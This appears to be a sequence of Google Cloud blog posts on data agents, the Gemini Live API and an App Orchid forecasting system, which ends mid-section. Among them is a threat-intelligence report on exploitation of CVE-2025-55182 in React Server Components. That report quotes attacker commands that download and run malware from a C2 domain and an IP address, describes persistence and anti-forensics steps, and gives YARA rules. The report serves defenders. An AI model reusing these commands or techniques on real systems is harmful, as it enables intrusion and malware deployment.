Data agents are revolutionizing the way different data roles operate by bringing automation, intelligence, and natural language capabilities into their daily workflows. Whether you’re a data analyst querying and visualizing data more efficiently, a developer building smarter applications, or a data scientist accelerating model development, agents can help streamline repetitive tasks and boost your productivity. Data engineers benefit from automated data preparation and pipeline management, while ML engineers can deploy and monitor models more effectively. Even business users, who traditionally rely on technical teams for insights, can now interact with data directly using natural language. 

Recent innovations to Gemini with BigQuery for data engineering provide automation to build data pipelines to ingest, transform, and validate data. This includes data transformations like data cleaning, deduplication, formatting, standardizing, joins, and aggregations as well as data quality to enforce rules and standards. Building on these capabilities, the Data Engineering Agent further accelerates productivity by intelligently automating these standard integration patterns and proactively monitoring pipeline health.

Speed efficiency with multimodal automation and governance

We are removing the friction to build AI applications using autonomous vector embedding for multimodal data. Building on our BigQuery Vector Search capabilities, data teams can build, manage, and maintain complex data pipelines without needing to update vector embeddings. BigQuery now takes care of this automatically with added capabilities for agents to connect user intent to enterprise data. This is powering customer systems like the in-store product finder at Morrisons, which handles 50,000 customer searches on a busy day.

We are also helping organizations ensure their data platform acts as a real-time brain for AI, including orchestration and AI-infused services. Governance is foundational to data and AI success. In today’s world of distributed data spanning lakes, warehouses, and operational systems, intelligence is impossible without unified governance. 

New automated cataloging with Dataplex Universal Catalog allows data teams to discover, ingest, and index metadata from a wide range of sources, minimizing the effort involved in cataloging data, and providing a near-real-time view of your data and AI landscape. Dataplex provides context to your data teams and your agents beyond the normal scope of a universal catalog.  It leverages Gemini to continuously derive relationships and auto-generate business semantics, providing AI agents with trusted, real-time context. 

Ericsson uses Dataplex to deliver a unified business vocabulary to users, including data classification, ownership, retention policies, and sensitivity labels. This allows different data personas to instantly understand a data origin, increasing trust and reducing investigation time. 

Optimize workloads for broad usability 

Managing data across cloud and hybrid environments can be piecemeal, leading to costly inefficiencies, redundant storage, and complex data movement.

To help, visual pipelines provide a code-free user experience for designing, deploying, managing and monitoring pipelines, with a metadata-driven approach to improving developer productivity. And enhancements to data preparation in BigQuery provide a single platform to clean, structure, enrich and build data pipelines. 

For ML transformations supporting retrieval augmented generation (RAG) use cases, recent innovations enhance model inference to ML models in real-time or batch. And support for libraries and frameworks for multimodal data allows data teams to leverage multiple models in a single pipeline, improving accuracy and recall.

Integrating real-time data and context for AI

Agents need context in order to be effective and are significantly limited when they rely on static or outdated information. To make accurate decisions that genuinely help users and the business, they need real-time access to the current state of your systems and users. We launched Managed Service for Apache Kafka last year to help you integrate your operational and transactional data into your AI and data platform that in turn can then power your AI agents. This year, we added critical enterprise capabilities such as Apache Kafka Connect, VPC Service Controls, mutual TLS authentication, and Kafka access control which have helped customers like MadHive deploy to production in a matter of months. To enable new streaming architectures, we added User-Defined Functions support (UDFs) in Pub/Sub for transforming messages (like JSON) before they go to destinations like BigQuery, allowing custom logic, validation, and enrichment on the streaming data and making Pub/Sub pipelines more powerful and flexible. We also enhanced Dataflow, the advanced unified streaming and batch processing engine with critical capabilities such as parallel updates, Managed I/O, Google Cloud TPU support, speculative execution and more to bring the power of AI enabled data processing to advanced stream processing use cases such as continuous ML feature extraction and real time fraud detection.

Data integration and streaming momentum

It was a busy year for the Google Data Cloud team, and we are honored to be recognized in these recent Gartner and Forrester reports. We look forward to continuing to innovate and partner with you on your data transformation journey.

_{Forrester does not endorse any company, product, brand, or service included in its research publications and does not advise any person to select the products or services of any company or brand based on the ratings included in such publications. Information is based on the best available resources. Opinions reflect judgment at the time and are subject to change. For more information, read about Forrester’s objectivity here .}

_{Gartner, Magic Quadrant for Data Integration Tools, Michele Launi, Nina Showell, Robert Thanaraj, Sharat Menon, 8 December 2025}

_{Gartner does not endorse any vendor, product or service depicted in its research publications and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner’s Research & Advisory organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.}

_{GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally, and MAGIC QUADRANT is a registered trademark of Gartner, Inc. and/or its affiliates and are used herein with permission. All rights reserved.}

Today, we are excited to announce that Gemini Live API, powered by the latest Gemini 2.5 Flash Native Audio model, is generally available on Vertex AI.

Pioneering organizations have been using Gemini Live API to build the next generation of multimodal conversational AI that blends voice, vision, and text, to deliver fluid, human-like, and highly contextual interactions. For Google Cloud customers, this means you can deploy low-latency voice and video agents with the stability and performance required for your most demanding workflows.

A new standard with real-time multimodal AI agents

Gemini Live API represents a new standard for bringing AI to life. Imagine an agent that doesn’t just listen, but instantly understands the user’s intent, the context of their screen, captures the emotion in their voice, and responds with a human-like voice — all in real time.

The power behind this dynamic capability is the Gemini 2.5 Flash Native Audio model. Our approach is based on a simple commitment: to bring the same high-quality conversational intelligence found in advanced experiences across Google directly to your enterprise applications.

In a real-time interaction, precision and speed are non-negotiable. Gemini Live API is natively multimodal and is designed to handle the instantaneous complexity of human dialogue:

• It can process interruptions mid-sentence without missing a beat, ensuring natural turn-taking.

• It understands acoustic cues like pitch and pace, deciphering intent and tone.

• It can see and discuss complex visual data (charts, live video, diagrams) shared by a user, providing immediate, contextual assistance.

The confidence to deploy on Vertex AI

Gemini Live API is engineered for enterprise success. Vertex AI provides the security and stability your mission-critical agents need for production.

The Gemini 2.5 Flash Native Audio model is optimized to process a high volume of concurrent interactions with consistent, low-latency performance. Deploying on Vertex AI allows you to leverage our expanding global infrastructure across multiple regions, delivering reliability for your users. Additionally, enterprise-grade data residency features that allow you to manage where your data is processed, helping you meet critical regulatory and compliance standards. 

Building real-world impact with Gemini Live API

The true power of Gemini Live API is demonstrated by the companies who are using it today to redefine their customer experiences.

Shopify, the leading global commerce platform, developed Sidekick, a multimodal AI assistant powered by Gemini Live API on Vertex AI. It provides personalized, robust support away from a desk, enabling real-time problem solving that eliminates traditional ticketing workflows.

“Users often forget they’re talking to AI within a minute of using Sidekick, and in some cases have thanked the bot after a long chat. This is an exciting time to be an entrepreneur. New AI capabilities offered through Gemini empower our merchants to win.” – David Wurtz, VP of Product, Shopify

United Wholesale Mortgage (UWM) transformed its business process by using their AI Loan Officer Assistant, Mia, to dramatically increase business efficiency for their broker partners.

“By integrating the Gemini 2.5 Flash Native Audio model and harnessing the Gemini Live API capabilities on the Vertex AI platform, we’ve significantly enhanced Mia’s capabilities since launching in May 2025. This powerful combination has enabled us to generate over 14,000 loans for our broker partners, proving that AI is much more than just a buzzword at UWM.” – Jason Bressler, Chief Technology Officer, UWM

SightCall provides remote video support and AI-driven visual assistance, helping customer service and field teams solve problems faster. 

“What makes this partnership so exciting is that the Gemini 2.5 Flash Native Audio model isn’t just fast — it’s seamlessly human. When combined with SightCall Xpert Knowledge™, it becomes a real-time expert that knows what your best technicians know… This is the future of visual support.” – Thomas Cottereau, CEO, SightCall

Napster uses the Gemini Live API’s vision and audio capabilities so their users can co-create and receive live guidance from specialized AI companions.

“By utilizing the Gemini 2.5 Flash Native Audio model on Vertex AI, we’ve built something we couldn’t before: AI Companions that see you, see your screen, and respond like real experts in real-time conversation. This combination of vision and audio enables genuine collaboration — no prompting, no engineering — just natural dialogue where AI understands your full context and unlocks creativity and expertise for everyone.” – Edo Segal, CTO, Napster

Lumeris is deploying their health AI assistant, Tom, in high-stakes environments where nuance and emotional sensitivity are non-negotiable.

“The transition to the Gemini Live API on Vertex AI is a strategic investment in more intuitive and efficient patient conversations. The result is a more responsive and personalized voice experience. For Lumeris, our goal is elevating the quality of every interaction between patients and Tom, our agentic primary care team member. This helps us set a new standard for patient care.” – Jean-Claude Saghbini, President and Chief Technology Officer, Lumeris

Newo deploys versatile AI Receptionists that achieve a conversational quality that is truly lifelike and emotionally intuitive, handling tasks from general inquiries to sales.

“Working with the Gemini 2.5 Flash Native Audio model through Vertex AI allows Newo.ai AI Receptionists to achieve unmatched conversational intelligence — combining ultra-low latency with advanced reasoning. They can identify the main speaker even in noisy settings, switch languages mid-conversation, and sound remarkably natural and emotionally expressive. Our Gemini Live API-powered outbound AI Sales Agents can laugh, joke, and truly connect — making every call feel human.” – David Yang, co-founder, Newo.ai

11Sight is redefining customer interactions with AI-powered conversational agents that book appointments and close sales.

“The Gemini 2.5 Flash Native Audio model on Vertex AI gave us the enterprise-grade platform required to rapidly develop our voice AI agents with very low latency. Integrating this solution with our Sentinel AI Agents pushed our call resolution rates from 40% in February to 60% in November.” – Dr. Farokh Eskafi, CTO, 11Sight

Start building your next-generation agent today

Here is how you can start building with Gemini Live API on Vertex AI today: 

• Try Gemini Live API now in Vertex AI Studio.

• Read the developer blog to dive deeper into creative use cases, code snippets, and a step-by-step guide for implementation.

• Explore our Gemini Live API documentation for API specifics, reference architectures, and even more demos.

Give your AI apps and agents a natural, almost human-like interface, all through a single WebSocket connection. 

Today, we announced the general availability of Gemini Live API on Vertex AI, which is powered by the latest Gemini 2.5 Flash Native Audio model. This is more than just a model upgrade; it represents a fundamental move away from rigid, multi-stage voice systems towards a single, real-time, emotionally aware, and multimodal conversational architecture.

We’re thrilled to give developers a deep dive into what this means for building the next generation of multimodal AI applications. In this post we’ll look at two templates and three reference demos that help you understand how to best use Gemini Live API.

Gemini Live API as your new voice foundation

For years, building conversational AI involved stitching together a high-latency pipeline of Speech-to-Text (STT), a Large Language Model (LLM), and Text-to-Speech (TTS). This sequential process created the awkward, turn-taking delays that prevented conversations from ever feeling natural.

Gemini  Live API fundamentally changes the engineering approach with a unified, low-latency, native audio architecture.

• Native audio processing: Gemini 2.5 Flash Native Audio model processes raw audio natively through a single, low-latency model. This unification is the core technical innovation that dramatically reduces latency.
• Real-time multimodality: The API is designed for unified processing across audio, text, and visual modalities. Your agent can converse about topics informed by live streams of visual data (like charts or live video feeds shared by a user) simultaneously with spoken input.

Next-generation conversation features

Gemini Live API  gives you a suite of production-ready features that define a new standard for AI agents:

• Affective dialogue (emotional intelligence): By natively processing raw audio, the model can interpret subtle acoustic nuances like tone, emotion, and pace. This allows the agent to automatically de-escalate stressful support calls or adopt an appropriately empathetic tone.
• Proactive audio (smarter barge-in): This feature moves beyond simple Voice Activity Detection (VAD). As demonstrated in our live demo, you can configure the agent to intelligently decide when to respond and when to remain a silent co-listener. This prevents unnecessary interruptions when passive listening is required, making the interaction feel truly natural.
• Tool use: Developers can seamlessly integrate tools like Function Calling and Grounding with Google Search into these real-time conversations, allowing agents to pull real-time world knowledge and execute complex actions immediately based on spoken and visual input.
• Continuous memory: Agents maintain long, continuous context across all modalities.
• Enterprise-grade stability: With GA release, you get the high availability required for production workloads, including multi-region support to ensure your agents remain responsive and reliable for users globally.

Developer quickstart: Getting started

For developers, the quickest way to experience the power of low-latency, real-time audio is to understand the flow of data. Unlike REST APIs where you make a request and wait, Gemini Live API requires managing a bi-directional stream.

Gemini Live API flow

Before diving into code, it is critical to visualize the production architecture. While a direct connection is possible for prototyping, most enterprise applications require a secure, proxied flow: User-facing App -> Your Backend Server -> Gemini Live API (Google Backend).

In this architecture, your frontend captures media (microphone/camera) and streams it to your secure backend, which then manages the persistent WebSocket connection to Gemini Live API in Vertex AI. This ensures sensitive credentials never leave your server and allows you to inject business logic, persist conversation state, or manage access control before data flows to Google.

​​To help you get started, we have released two distinct Quickstart templates – one for understanding the raw protocol, and one for modern component-based development.

Option A: Vanilla JS Template (zero dependency)

Best for: Understanding the raw WebSocket implementation and media handling without framework overhead.

This template handles the WebSocket handshakes and media streaming, giving you a clean slate to build your logic.

Project Structure:

Core implementation: You interact with the gemini-live-2.5-flash-native-audio model via a stateful WebSocket connection.

Running the Vanilla JS Demo:

Follow along the step-by-step video walkthrough.

Pro-tip: Debugging raw audio Working with raw PCM audio streams can be tricky. If you need to verify your audio chunks or test Base64 strings, we’ve included a PCM Audio Debugger in the repository.

Option B: React demo (modular & modern)

Best for: Building scalable, production-ready applications with complex UIs.

If you are building a robust enterprise application, our React starter provides a modular architecture using AudioWorklets for high-performance, low-latency audio processing.

Features:

• Real-time streaming: Audio and video streaming to Gemini with React state management.
• AudioWorklets: Uses capture.worklet.js and playback.worklet.js for dedicated audio processing threads.
• Secure proxy: Python backend handles Google Cloud authentication.

Project structure:

Running the react demo:

Follow along the step-by-step video walkthrough.

Partner Integrations

If you prefer a simpler development process for specific telephony or WebRTC environments, we have third-party partner integrations with Daily, Twilio, LiveKit, and Voximplant. These platforms have integrated the Gemini Live API over the WebRTC protocol, allowing you to drop these capabilities directly into your existing voice and video workflows without managing the networking stack yourself .

Gemini Live API: Three production-ready demos

Once you have your foundation set with either template, how do you scale this into a product? We’ve built three demos showcasing the distinct “superpowers” of Gemini Live API.

1. Real-time proactive advisor agent

The core of building truly natural conversational AI lies in creating a partner, not just a chatbot. This specialized application demonstrates how to build a business advisor that listens to a conversation and provides relevant insights based on a provided knowledge base.

It showcases two critical capabilities for professional agents: Dynamic Knowledge Injection and Dual Interaction Modes.

• The Scenario: An advisor sits in on a business meeting. It has access to specific injected data (revenue stats, employee counts) that the user defines in the UI.

• Dual modes:

• Silent mode: The advisor listens and “pushes” visual information via a show_modal tool without speaking. This is perfect for unobtrusive assistance where you want data, not interruption.

• Outspoken mode: The advisor politely interjects verbally to offer advice, combining audio response with visual data.

Check out the full source code for the real-time advisor agent implementation in our GitHub repository.

2. Multimodal customer support agent

Customer support agents must be able to act on what they “see” and “hear.” This demo layers Contextual Action and Affective Dialogue onto the voice stream, creating a support agent that can resolve issues instantly.

This application simulates a futuristic customer support interaction where the agent can see what you see, understand your tone, and take real actions to resolve your issues instantly. Instead of describing an item for a return, the user simply shows it to the camera. The agent combines this visual input with emotional understanding to drive real actions:

• Multimodal Understanding: The agent visually inspects items shown by the customer (e.g., verifying a product for return) while listening to their request.
• Empathetic Response: Using affective dialogue, the agent detects the user’s emotional state (frustration, confusion) and adjusts its tone to respond with appropriate empathy.
• Action Taking and Tool Use: It doesn’t just chat; it uses custom tools like process_refund (handling transaction IDs) or connect_to_human (transferring complex issues) to actually solve the problem.
• Real-time Interaction: Low-latency voice interaction using Gemini Live API over WebSockets.

Check out the full source code for the multi-modal customer support agent implementation in our GitHub repository.

3. Real-time video game assistant

Gaming is better with a co-pilot. In this demo, we build a Real-Time Gaming Guide that moves beyond simple chat to become a true companion that watches your gameplay and adapts to your style.

This React application streams both your screen capture and microphone audio to the model simultaneously, allowing the agent to understand the game state instantly. It showcases three advanced capabilities:

• Multimodal awareness: The agent acts as a second pair of eyes, analyzing your screen to spot enemies, loot, or puzzle clues that you might miss.
• Persona switching: You can dynamically toggle the agent’s personality – from a “Wise Wizard” offering cryptic hints to a “SciFi Robot” or “Commander” giving tactical orders. This demonstrates how system instructions can instantly change the voice and style of assistance.
• Google Search Grounding: The agent pulls real-time information to provide up-to-date walkthroughs and tips, ensuring you never get stuck on a new level.

Check out the full source code for the real-time video game assistant implementation in our GitHub repository.

Get started today 

• Try it out today: Experiment with Gemini Live API in Vertex AI Studio
• Start building: Access Gemini Live API on Vertex AI today and move beyond chatbots to create truly intelligent, responsive, and empathetic user experiences.
• Get the code: All demos and quickstarts are available in our official GitHub repository.

Written by: Aragorn Tseng, Robert Weiner, Casey Charrier, Zander Work, Genevieve Stark, Austin Larsen

Introduction

On Dec. 3, 2025, a critical unauthenticated remote code execution (RCE) vulnerability in React Server Components, tracked as CVE-2025-55182 (aka “React2Shell”), was publicly disclosed. Shortly after disclosure, Google Threat Intelligence Group (GTIG) had begun observing widespread exploitation across many threat clusters, ranging from opportunistic cyber crime actors to suspected espionage groups.

GTIG has identified distinct campaigns leveraging this vulnerability to deploy a MINOCAT tunneler, SNOWLIGHT downloader, HISONIC backdoor, and COMPOOD backdoor, as well as XMRIG cryptocurrency miners, some of which overlaps with activity previously reported by Huntress. These observed campaigns highlight the risk posed to organizations using unpatched versions of React and Next.js. This post details the observed exploitation chains and post-compromise behaviors and provides intelligence to assist defenders in identifying and remediating this threat.

For information on how Google is protecting customers and mitigation guidance, please refer to our companion blog post, Responding to CVE-2025-55182: Secure your React and Next.js workloads.

CVE-2025-55182 Overview

CVE-2025-55182 is an unauthenticated RCE vulnerability in React Server Components with a CVSS v3.x score of 10.0 and a CVSS v4 score of 9.3. The flaw allows unauthenticated attackers to send a single HTTP request that executes arbitrary code with the privileges of the user running the affected web server process.

GTIG considers CVE-2025-55182 to be a critical-risk vulnerability. Due to the use of React Server Components (RSC) in popular frameworks like Next.js, there are a significant number of exposed systems vulnerable to this issue. Exploitation potential is further increased by two factors: 1) there are a variety of valid payload formats and techniques, and 2) the mere presence of vulnerable packages on systems is often enough to permit exploitation.

The specific RSC packages that are vulnerable to CVE-2025-55182 are versions 19.0, 19.1.0, 19.1.1, and 19.2.0 of:

• react-server-dom-webpack

• react-server-dom-parcel

• react-server-dom-turbopack

A large number of non-functional exploits, and consequently false information regarding viable payloads and exploitation logic, were widely distributed about this vulnerability during the initial days after disclosure. An example of a repository that started out wholly non-functional is this repository published by the GitHub user “ejpir“, which, while initially claiming to be a legitimate functional exploit, has now updated their README to appropriately label their initial research claims as AI-generated and non-functional. While this repository still contains non-functional exploit code, it also now contains legitimate exploit code with Unicode obfuscation. While instances like this initially caused confusion across the industry, the number of legitimate exploits and their capabilities have massively expanded, including in-memory Next.js web shell deployment capabilities. There are also exploit samples, some entirely fake, some non-functional, and some with legitimate functionality, containing malware targeting security researchers. Researchers should validate all exploit code before trusting its capabilities or legitimacy.

Technical write-ups about this vulnerability have been published by reputable security firms, such as the one from Wiz. Researchers should refer to such trusted publications for up-to-date and accurate information when validating vulnerability details, exploit code, or published detections.

Additionally, there was a separate CVE issued for Next.js (CVE-2025-66478); however, this CVE has since been marked as a duplicate of CVE-2025-55182.

Observed Exploitation Activity

Since exploitation of CVE-2025-55182 began on Dec. 3, 2025, GTIG has observed diverse payloads and post-exploitation behaviors across multiple regions and industries. In this blog post we focus on China-nexus espionage and financially motivated activity, but we have additionally observed Iran-nexus actors exploiting cve-2025-55182.

China-Nexus Activity

As of Dec. 12, GTIG has identified multiple China-nexus threat clusters utilizing CVE-2025-55182 to compromise victim networks globally. Amazon Web Services (AWS) reporting indicates that China-nexus threat groups Earth Lamia and Jackpot Panda are also exploiting this vulnerability. GTIG tracks Earth Lamia as UNC5454. Currently, there are no public indicators available to assess a group relationship for Jackpot Panda.

MINOCAT

GTIG observed China-nexus espionage cluster UNC6600 exploiting the vulnerability to deliver the MINOCAT tunneler. The threat actor retrieved and executed a bash script used to create a hidden directory ($HOME/.systemd-utils), kill any processes named “ntpclient“, download a MINOCAT binary, and establish persistence by creating a new cron job and a systemd service and by inserting malicious commands into the current user’s shell config to execute MINOCAT whenever a new shell is started. MINOCAT is an 64-bit ELF executable for Linux that includes a custom “NSS” wrapper and an embedded, open-source Fast Reverse Proxy (FRP) client that handles the actual tunneling.

SNOWLIGHT

In separate incidents, suspected China-nexus threat actor UNC6586 exploited the vulnerability to execute a command using cURL or wget to retrieve a script that then downloaded and executed a SNOWLIGHT downloader payload (7f05bad031d22c2bb4352bf0b6b9ee2ca064a4c0e11a317e6fedc694de37737a). SNOWLIGHT is a component of VSHELL, a publicly available multi-platform backdoor written in Go, which has been used by threat actors of varying motivations. GTIG observed SNOWLIGHT making HTTP GET requests to C2 infrastructure (e.g., reactcdn.windowserrorapis[.]com) to retrieve additional payloads masquerading as legitimate files.

curl -fsSL -m180 reactcdn.windowserrorapis[.]com:443/?h=reactcdn.windowserrorapis[.]com&p=443&t=tcp&a=l64&stage=true -o <filename>

Figure 1: cURL command executed to fetch SNOWLIGHT payload

COMPOOD

GTIG also observed multiple incidents in which threat actor UNC6588 exploited CVE-2025-55182, then ran a script that used wget to download a COMPOOD backdoor payload. The script then executed the COMPOOD sample, which masqueraded as Vim. GTIG did not observe any significant follow-on activity, and this threat actor’s motivations are currently unknown.

wget http://45.76.155[.]14/vim -O /tmp/vim
/tmp/vim "/usr/lib/polkit-1/polkitd --no-debug"

Figure 2: COMPOOD downloaded via wget and executed

COMPOOD has historically been linked to suspected China-nexus espionage activity. In 2022, GTIG observed COMPOOD in incidents involving a suspected China-nexus espionage actor, and we also observed samples uploaded to VirusTotal from Taiwan, Vietnam, and China.

HISONIC

Another China-nexus actor, UNC6603, deployed an updated version of the HISONIC backdoor. HISONIC is a Go-based implant that utilizes legitimate cloud services, such as Cloudflare Pages and GitLab, to retrieve its encrypted configuration. This technique allows the actor to blend malicious traffic with legitimate network activity. In this instance, the actor embedded an XOR-encoded configuration for the HISONIC backdoor delimited between two markers, “115e1fc47977812” to denote the start of the configuration and “725166234cf88gxx” to mark the end. Telemetry indicates this actor is targeting cloud infrastructure, specifically AWS and Alibaba Cloud instances, within the Asia Pacific (APAC) region.

<version>115e1fc47977812.....REDACTED.....725166234cf88gxx</version>

Figure 3: HISONIC markers denoting configuration

ANGRYREBEL.LINUX

Finally, we also observed a China-nexus actor, UNC6595, exploiting the vulnerability to deploy ANGRYREBEL.LINUX. The threat actor uses an installation script (b.sh) that attempts to evade detection by masquerading the malware as the legitimate OpenSSH daemon (sshd) within the /etc/ directory, rather than its standard location. The actor also employs timestomping to alter file timestamps and executes anti-forensics commands, such as clearing the shell history (history -c). Telemetry indicates this cluster is primarily targeting infrastructure hosted on international Virtual Private Servers (VPS).

Financially Motivated Activity

Threat actors that monetize access via cryptomining are often among the first to exploit newly disclosed vulnerabilities. GTIG observed multiple incidents, starting on Dec. 5, in which threat actors exploited CVE-2025-55182 and deployed XMRig for illicit cryptocurrency mining. In one observed chain, the actor downloaded a shell script named “sex.sh,” which downloads and executes the XMRIG cryptocurrency miner from GitHub. The script also attempts to establish persistence for the miner via a new systemd service called “system-update-service.”

GTIG has also observed numerous discussions regarding CVE-2025-55182 in underground forums, including threads in which threat actors have shared links to scanning tools, proof-of-concept (PoC) code, and their experiences using these tools.

Outlook and Implications

After the disclosure of high-visibility, critical vulnerabilities, it is common for affected products to undergo a period of increased scrutiny, resulting in a swift but temporary increase in the number of vulnerabilities discovered. Since the disclosure of CVE-2025-55182, three additional React vulnerabilities have been disclosed: CVE-2025-55183, CVE-2025-55184, and CVE-2025-67779. In this case, two of these follow-on vulnerabilities have relatively limited impacts (restricted information disclosure and causing a denial-of-service (DoS) condition). The third vulnerability (CVE-2025-67779) also causes a DoS condition, as it arose due to an incomplete patch for CVE-2025-55184.

Recommendations

Organizations utilizing React or Next.js should take the following actions immediately:

1. Patch Immediately:

1. To prevent remote code execution due to CVE-2025-55182, patch vulnerable React Server Components to at least 19.0.1, 19.1.2, or 19.2.1, depending on your vulnerable version. Patching to 19.2.2 or 19.2.3 will also prevent the potential for remote code execution.

2. To prevent the information disclosure impacts due to CVE-2025-55183, patch vulnerable React Server Components to at least 19.2.2.

3. To prevent DoS impacts due to CVE-2025-55184 and CVE-2025-67779, patch vulnerable React Server Components to 19.2.3. The 19.2.2 patch was found to be insufficient in preventing DoS impacts.

Indicators of Compromise (IOCs)

To assist defenders in hunting for this activity, GTIG is providing the following indicators observed during recent investigations. A Google Threat Intelligence Collection of IOCs is available for registered users.

YARA Rules

MINOCAT

rule G_APT_Tunneler_MINOCAT_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_modified = "2025-12-10"
		rev = "1"
		md5 = "533585eb6a8a4aad2ad09bbf272eb45b"
	strings:
		$magic = { 7F 45 4C 46 }
		$decrypt_func = { 48 85 F6 0F 94 C1 48 85 D2 0F 94 C0 08 C1 0F 85 }
		$xor_func = { 4D 85 C0 53 49 89 D2 74 57 41 8B 18 48 85 FF 74 }
		$frp_str1 = "libxf-2.9.644/main.c"
		$frp_str2 = "xfrp login response: run_id: [%s], version: [%s]"
		$frp_str3 = "cannot found run ID, it should inited when login!"
		$frp_str4 = "new work connection request run_id marshal failed!"
		$telnet_str1 = "Starting telnetd on port %dn"
		$telnet_str2 = "No login shell found at %sn"
		$key = "bigeelaminoacow"
	condition:
		$magic at 0 and (1 of ($decrypt_func, $xor_func)) and (2 of ($frp_str*)) and (1 of ($telnet_str*)) and $key
}

COMPOOD

rule G_Backdoor_COMPOOD_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_modified = "2025-12-11"
		rev = “1”
            md5 = “d3e7b234cf76286c425d987818da3304”
	strings:
		$strings_1 = "ShellLinux.Shell"
		$strings_2 = "ShellLinux.Exec_shell"
		$strings_3 = "ProcessLinux.sendBody"
		$strings_4 = "ProcessLinux.ProcessTask"
		$strings_5 = "socket5Quick.StopProxy"
		$strings_6 = "httpAndTcp"
		$strings_7 = "clean.readFile"
		$strings_8 = "/sys/kernel/mm/transparent_hugepage/hpage_pmd_size"
		$strings_9 = "/proc/self/auxv"
		$strings_10 = "/dev/urandom"
		$strings_11 = "client finished"
		$strings_12 = "github.com/creack/pty.Start"
	condition:
		uint32(0) == 0x464C457f and 8 of ($strings_*)
}

SNOWLIGHT

rule G_Hunting_Downloader_SNOWLIGHT_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_created = "2025-03-25"
		date_modified = "2025-03-25"
		md5 = "3a7b89429f768fdd799ca40052205dd4"
		rev = 1
	strings:
		$str1 = "rm -rf $v"
		$str2 = "&t=tcp&a="
		$str3 = "&stage=true"
		$str4 = "export PATH=$PATH:$(pwd)"
		$str5 = "curl"
		$str6 = "wget"
		$str7 = "python -c 'import urllib"
	condition:
		all of them and filesize < 5KB
}

In today’s dynamic business environment, accurate forecasting is the bedrock of efficient operations. Yet, businesses across all industries grapple with the constant challenge of predicting future demand, resource needs, and market trends. Nor is this an abstract problem; the cost of miscalculation can be substantial, leading to wasted resources and missed opportunities.

Imagine a large retail chain struggling to predict seasonal demand for its popular clothing lines. A miscalculation means either mountains of unsold inventory and costly markdowns or constant stock-outs that lead to lost sales and frustrated customers. Or consider a manufacturer trying to optimize the procurement of raw materials. Inaccurate forecasts force them into a reactive cycle of expensive rush orders and production delays, or they see their capital tied up in slow-moving inventory.

Whether it’s outdated processes, siloed systems, or missing data semantics slowing down your forecasts — and your business — there’s now a better way. A new era of AI-powered enterprise intelligence means we can move beyond reactive measures and achieve new levels of foresight. Google Cloud and App Orchid have now developed a novel multi-agent application for business forecasting that helps transform the predictive challenges of the past into strategic advantages.

In this post, we will outline the elements of our multi-agent system, the benefits of this innovative approach to agentic frameworks, and how others can benefit from not only our offering but rethink how they create their own.

Transforming enterprise intelligence with AI agents

App Orchid is a leader in making data actionable with AI, with a mission to make AI a force for good. The goal is to empower every employee with trusted, understandable, and accessible data. While enterprise data is now a mission-critical asset for organizations, it’s often underutilized, difficult to access, and buried under layers of complexity. To help, App Orchid partnered with Google to build a multi-agent application that provides a new level of precision in operational forecasting. 

This innovative solution combines two powerful, specialized AI agents: a prediction agent built by Google Cloud and App Orchid’s Data Agent offering. These agents work in concert to solve complex business problems, acting as complementary specialists — each an expert in its own domain. App Orchid’s agent possesses unparalleled understanding of an enterprise’s past and present, while Google’s agent brings world-class capabilities in predicting the future.

Adopting a multi-agent approach provides clear, tangible advantages that directly address the forecasting problems that often plague businesses, including:

• Improved accuracy: Achieve a level of forecasting precision that was previously unattainable, reducing costly errors.
• Increased operational efficiency: Automate and streamline the complex processes of data preparation and prediction, freeing up valuable human resources.
• Faster insights: Gain real-time, actionable insights, enabling quicker and more informed decision-making.
• Reduced costs and increased revenue: Directly impact the bottom line by minimizing inventory waste, reducing stock-outs to maximize sales, and optimizing resource allocation.
• Greater agility and adaptability: Rapidly adapt to market shifts and unforeseen disruptions with agile forecasting capabilities.

How it works: Three powerful agents, one seamless solution

To better understand the power of this new agentic framework, it’s first essential to understand how these two AI agents work together as complementary specialists under the direction of a third, orchestrator agent.

1. Google prediction agent – The forecasting powerhouse

The prediction agent, which is primarily the custom engineering work of Google Cloud, is the system’s window to the future. It takes rich, contextualized historical data and applies Google’s state-of-the-art predictive models to generate highly accurate and actionable forecasts. The agent utilizes specialized foundation models like TimesFM, which is pre-trained on billions of data points for time-series forecasting, and the Population Dynamics Foundation Model (PDFM), which analyzes geospatial data to understand demographic similarities. By combining these powerful models, the Google prediction agent helps businesses anticipate future demand and identify market trends with a new level of precision.

2. App Orchid Data Agent – The enterprise intelligence data expert

Accurate predictions depend on high-quality, AI-ready data, which is where App Orchid’s Data Agent excels. This agent acts as the intelligent query engine for your enterprise data, connecting even disparate and siloed information to draw insights and offer informed feedback. The Data Agent utilizes the Google Cloud Cortex Framework for a unified view of business data and then applies App Orchid’s own powerful semantic-layer technology, which closes the “AI context gap” by transforming raw, siloed data into a unified, trustworthy knowledge foundation that grounds AI models for accuracy and scalability. 

Together, this creates a “smart data layer” within the Data Agent that maps an organization’s entire data landscape into a unified knowledge graph. This allows the agent to understand the unique context, relationships, and terminology specific to a business — from internal acronyms to complex operational data — and deliver the comprehensive, time-series datasets that are essential for producing accurate predictions.

3. The combined business forecasting agent

At the heart of the solution is a unified business forecasting agent, which brings together the capabilities of our unique prediction and data agents in a discrete instance for the user. While our multi-agent system  delivers an automated, end-to-end tool for next-generation forecasting, it’s the business forecasting agent that the user interacts with — few actually realize there are multiple agents working behind the scenes, nor need to know.

The process begins by having the forecasting agent function as an orchestrator of user queries, directing the App Orchid Data Agent to construct a unified, trustworthy knowledge foundation; this is a crucial step for eliminating data silos and prepares the high-context, time-series data required for accurate AI. This smart data layer is then passed to the Google prediction agent, which applies its specialized foundation models to project future outcomes with impressive levels of precision. 

The final result is a single, comprehensive forecast delivered back to the user via the orchestrator agent. And by automating the labor-intensive processes of data wrangling and prediction execution, the combined solution empowers business leaders to make instant, highly accurate decisions that directly reduce costly markdowns, prevent stock-outs, maximize sales, and efficiently optimize resource allocation.

The technical glue: A2A Protocol, Google’s Agent Development Kit (ADK), and Gemini

The seamless collaboration between these two distinct AI agents is made possible by three key technologies: the Agent-to-Agent (A2A) Protocol, Google’s Agent Development Kit (ADK), and Google’s industry-leading family of multimodal Gemini models.

